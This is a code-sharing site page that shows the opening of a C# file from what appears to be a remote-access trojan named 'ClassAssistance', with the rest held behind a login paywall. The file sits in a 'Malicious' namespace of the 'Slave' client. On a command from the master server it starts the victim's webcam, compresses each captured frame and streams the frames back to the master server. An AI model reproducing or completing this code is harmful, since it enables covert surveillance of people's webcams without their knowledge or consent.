ClassAssistance.Slave/Malicious/Webcam.cs

(开头部分) 2KB

这里只显示每个文件的开头 60 行。登录后可以解锁完整代码。

using System.Drawing;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
using AForge.Video.DirectShow;
using ClassAssistance.Common;
using ClassAssistance.Common.Helpers;
using ClassAssistance.Common.Network.Protocol;
using ClassAssistance.Slave.Helper;

namespace ClassAssistance.Slave.Malicious
{
    public class Webcam : Singleton<Webcam>, IMalicious
    {
        private VideoCapabilities[] VideoCapabilities => _videoDevice?.VideoCapabilities;
        private VideoCaptureDevice _videoDevice;
        private FilterInfoCollection _videoDevices;

        private StartWebcamCaptureMessage _startMessage;

        public void Initialize()
        {
            _videoDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
            //foreach (FilterInfo device in _videoDevices)
                //devicesCombo.Items.Add(device.Name);
        }

        /// <summary>
        /// 
        /// </summary>
        /// <param name="message"></param>
        public void StartScreenCapture(StartWebcamCaptureMessage message)
        {
            _startMessage = message;
            MasterServer.Instance.SendStatus(message.WindowId, "Webcam capture", "Started capturing webcam...");

            _videoDevice = new VideoCaptureDevice(_videoDevices[0].MonikerString);
            _videoDevice.NewFrame += _videoDevice_NewFrame;
            
            _videoDevice.VideoResolution = VideoCapabilities[0];
            _videoDevice.Start();

            /////////////////////////

            //foreach (var capabilty in VideoCapabilities)
            //videoResolutionsCombo.Items.Add($"{capabilty.FrameSize.Width} x {capabilty.FrameSize.Height}");

            //if (VideoCapabilities.Length == 0)
            //videoResolutionsCombo.Items.Add("Not supported");

        }

        private void _videoDevice_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
        {
            var bitmapArray = ImageHelpers.CompressImage(eventArgs.Frame, _startMessage.Quality);

            MasterServer.Instance.ExecuteComplexSendOperation(_startMessage.WindowId,
                         "Webcam capture",
                         () => new WebcamCaptureMessage
                         {
                             RawImage = bitmapArray,
后面还有 15 行代码,解锁后查看完整代码

24 小时内免费解锁 3 个项目,之后 1 积分/个。 规则说明

AI 解读

登录后可用,每次 10 积分,解读结果公开显示在下面。

还没有人解读过这个文件。